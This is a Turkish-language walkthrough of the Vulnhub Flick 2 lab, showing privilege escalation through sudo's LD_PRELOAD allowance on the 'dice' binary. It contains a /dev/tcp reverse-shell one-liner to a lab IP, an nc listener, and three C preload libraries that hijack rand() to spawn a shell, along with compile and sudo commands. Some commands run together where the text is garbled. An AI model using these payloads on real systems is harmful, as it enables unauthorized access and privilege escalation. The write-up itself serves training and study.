Yazıda kullanılan Flick: 2 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/flick-2,122/
SSH servisi açık olmayan bu makineye aşağıdaki bilgiler ile fiziksel olarak erişim sağlanabilir.
- Kullanıcı Adı: robin
- Parola: 40373df4b7a1f413af61cf7fd06d03a565a51898
Fiziksel olarak oturum açıldıktan sonra, saldırının gerçekleşeceği makinede TCP\2222 gibi bir dinleyici açılır ve ters bağlantı elde edilebilir.
id
/bin/bash -i >& /dev/tcp/192.168.245.129/2222 0>&1nc -nlvp 2222
python -c ‘import pty; pty.spawn(“/bin/bash”)’
A) Mevcut Durumun İncelenmesi
Dosyalar karıştırıldığında “robin” kullanıcısının varsayılan ev dizininde “debug.gpg” dosyası görülmektedir.
cat /home/robin/debug.gpg
Bu dosya içerisinde “dice” (zar), getenv(“LD_PRELOAD”) fonksiyonunun “nil” değeri atanması, rand() fonksiyonunun 1804289383 sayısına sabitlenmesi gibi ifadeler ile karşılaşılmaktadır.
Oturum elde edilen “robin” kullanıcısının yetkileri incelendiğinde “bryan” kullanıcısı gibi “/usr/local/bin/dice” komutunu çalıştırabildiği görülmektedir. Bu komutun çıktısı her defasında sabit bir değer döndürmektedir. Bunun yanında “dice” uygulamasına okuma yetkisi verilmediği de görülmektedir.
sudo -l
/usr/local/bin/dice
/usr/local/bin/dice
/usr/local/bin/dice
ls -la /usr/local/bin/dice
“sudo -l” çıktısı incelendiğinde “env_keep+=LD_PRELOAD” ifadesinin eklendiği görülmektedir. Bu ayar sayesinde “sudo” aracı “LD_PRELOAD” değişkeninin kullanımına (yapılandırılmasına) izin vermektedir.
B) LD_PRELOAD Değişkeni ve Örnek Kullanımı
Paylaşımlı kitaplıklar (shared libraries) bir çok uygulama tarafından kullanılabilen kütüphanelerdir. Bu durum bir çok uygulamanın aynı kitaplığı paylaşabilmesi, merkezi bir yönetim sağlanması, bellekte ve diskte az yer kaplanması gibi bir takım avantajlar sağlar. Bunun yanında bir kütüphane dosyasında yapılan değişiklik, bu dosyayı doğrudan veya dolaylı olarak kullanan uygulamaların tamamını etkileyebilir, yani sistemin kararlılığı bozulabilir.
LD_PRELOAD (Preloading Libraries) değişkeni ile dinamik bağlantılı uygulamalarda yeniden derlemeye gerek kalmadan çalıştırılabilir bir dosyanın çalışma esnasında yükleyeceği kütüphanelerden önce başka bir kütüphanenin çağırılması sağlanabilir. LD_PRELOAD değişkenini bir örnek üzerinden aşağıdaki gibi açıklanabilir.
Standart “rand()” fonksiyonunu kullanarak mod 100’de rastgele 10 tane sayı yazdıran bir C fonksiyonu (10RastgeleSayiyiYazdir.c) şu şekildedir.
1 2 3 4 5 6 7 8 9 |
#include <stdio.h> #include <stdlib.h> #include <time.h> int main(){ srand(time(NULL)); int i = 10; while(i--) printf("%d\n",rand()%100); return 0; } |
Bu C dosyası varsayılan olarak (bayrak / flag kullanılmadan) derlendiğinde 10 tane sayı ekrana bastırmaktadır. Bu çalıştırılabilir dosya (10Sayi) her çalıştırıldığında farklı değerler çıkarmaktadır.
cat 10RastgeleSayiyiYazdir.c
gcc 10RastgeleSayiyiYazdir.c -o 10Sayi
./10Sayi
./10Sayi
Standart “rand()” fonksiyonu yerine aynı isimde bir “rand()” fonksiyonu ile rastgele sayı elde etmek yerine her zaman aynı / sabit değer (“12345678”) elde edilebilir. Bunun için yeni bir C dosyası (Sabitle.c) içerisine “rand()” fonksiyonu yazılabilir.
1 2 3 |
int rand(){ return 12345678; } |
Bu C dosyasından (Sabitle.c) paylaşımlı dinamik kütüphane oluşturmak için çeşitli bayraklar ile derleme işlemi gerçekleştirilir ve yeni bir dosya (CiktiyiSabitle.so) oluşturulur. Oluşturulan bu dosya ile 10 tane sayıyı ekrana bastırmak için hazırlanan dosya (10Sayi) çalıştırıldığıda, orijinal “rand()” fonksiyonu yerine dinamik kütüphane dosyası içerisindeki (CiktiyiSabitle.so) “rand()” fonksiyonu çalışır ve her defasında “78” (12345678’ün mod 100 değeri) elde edilir. “10Sayi” dosyasının her çalıştırılması sonucunda yine “78” değeri elde edilir.
cat Sabitle.c
gcc -shared -fPIC Sabitle.c -o CiktiyiSabitle.so
LD_PRELOAD=$PWD/CiktiyiSabitle.so ./10Sayi
LD_PRELOAD=$PWD/CiktiyiSabitle.so ./10Sayi
Not: Çalıştırılabilir dosyaya (10Sayi) her defasında LD_PRELOAD değişkeni ile kütüphaneyi (CiktiyiSabitle.so) göstermek yerine, bu kütüphane dosyası çevresel değişkenlere sabitlenebilir ve böylece “LD_PRELOAD=$PWD/CiktiyiSabitle.so” ifadesinin yazılmasına gerek kalmaz.
./10Sayi
export LD_PRELOAD=$PWD/CiktiyiSabitle.so
./10Sayi
Not: “export” aracı ile ayarlanan çevresel değişkenler, “unset” aracı ile iptal edilebilir. Örnek;
unset $LD_PRELOAD
Çalışma anında “10Sayi” dosyasının standart olarak çalışması ile “CiktiyiSabitle.so” kütüphanesini çağırarak çalışması arasındaki farkı (paylaşımlı nesne bağımlılıklarını) görmek için “ldd” aracı kullanılabilir. Aşağıdaki çıktıda da görüldüğü üzere, “LD_PRELOAD” değişkeninin kullanımı ile “CiktiyiSabitle.so” paylaşımlı kütüphanesindeki nesneler (değişkenler, fonksiyonlar vs) ilk olarak işletilecektir.
ldd 10Sayi
LD_PRELOAD=$PWD/CiktiyiSabitle.so ldd 10Sayi
C) LD_PRELOAD Değişkeninin Kötüye Kullanımı
“sudo -l” çıktısı incelendiğinde “dice” aracı “bryan” yetkisi ile çalıştırılabilmekte ve LD_PRELOAD değişkeninin kullanımına izin verilmekteydi. Bu durumda bir paylaşımlı kütüphane oluşturularak “dice” uygulamasındaki bir fonksiyonun üzerine yazıldığında, (/etc/sudoers dosyasındaki girdi sebebi ile) “bryan” yetkisi ile komut çalıştırılabilir.
Okuma yetkisi verilmediği için “dice” aracının paylaşımlı nesne bağımlılıkları görülememektedir.
ldd /usr/local/bin/dice
ls -la /usr/local/bin/dice
Dosya içeriği hakkında bilgi sahibi olunamasa da “debug.gpg” dosyasındaki ipucundan ve “dice” uygulamasının çıktısındaki sayıdan hareketle, “dice” uygulaması içerisinde “rand()” fonksiyonunun kullanıldığı sonucu çıkarılabilir. Orijinal “rand()” fonksiyonu yerine komut satırı verebilecek “rand()” fonksiyonu (geri dönüş değeri “int” olacak şekilde) aşağıdaki gibi oluşturulabilir.
1 2 3 4 5 6 7 8 9 10 11 |
#include <unistd.h> char *getenv(const char *name){ return 0; } int rand(){ char *args[2]; args[0] = "/bin/sh"; args[1] = NULL; execve(args[0], args, NULL); return 123456; // Bir deger } |
VEYA
1 2 3 4 5 6 7 8 |
#include <stdlib.h> char *getenv(const char *name){ return 0; } int rand(){ system("/bin/bash"); return 0; } |
VEYA
1 2 3 4 5 6 7 8 9 10 11 12 |
#include <stdlib.h> char *getenv(const char *name){ return 0; } int rand(){ unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); return 0; } |
Not: “debug.gpg” dosyasında getenv(“LD_PRELOAD”) fonksiyonunun “nil” değeri atandığı görülmekteydi. Bu sebeple, “getenv(const char *name)” fonksiyonu da dinamik olarak üzerine yazılmıştır.
Hazırlanan C dosyalarından (HakYukselt.c) birisi ile dinamik kütüphane dosyası (rand-HakYukselt.so) oluşturulup “bryan” gibi “dice” aracı çalıştırıldığında yatay hak yükseltme saldırısı gerçekleştirilmiş olunur.
cd /tmp
cat HakYukselt.c
gcc -shared -fPIC HakYukselt.c -o rand-HakYukselt.so
ls -la *HakYukselt*
sudo -u bryan LD_PRELOAD=/tmp/rand-HakYukselt.so /usr/local/bin/dice
Not: Dinamik nesneye “bryan” kullanıcı hesabı ile erişilebilmesi ve çalıştırılabilmesi gerekmektedir. Bu sebeple, gerekli işlemler “/tmp” dizini altında gerçekleştirilmiştir. Aksi durumda aşağıdakine benzer bir hata ile karşılaşılabilirdi.
ERROR: ld.so: object ‘//home/robin/rand-HakYukselt.so’ from LD_PRELOAD cannot be preloaded: ignored.
Kaynaklar:
https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/
https://dustri.org/b/fun-with-ld_preload.html
https://www.busindre.com/escalada_de_privilegios_con_variable_ld_preload
http://touhidshaikh.com/blog/?p=827
vulnhub: flickII – to the root – walkthrough part2
https://github.com/dqi/ctf_writeup/tree/master/boot2root/flick2
https://ru-clip.net/video/iFXUnCGIrcc/sudo-ld-preload-linux-privilege-escalation.html
https://g0blin.co.uk/flick-2-vulnhub-writeup/
https://matthieukeller.com/2016/03/vulnhub-flickii.htmhttps://gezegen.linux.org.tr/?p=1263l
OKU: https://www.it-swarm.net/tr/c/ld-preload-numarasi-nedir/958111798/
https://maggick.fr/2016/03/vulnhub-flickii.html
http://blog.chaselambda.com/2014/11/25/how-tmux-starts-up-an-adventure-with-linux-tools.html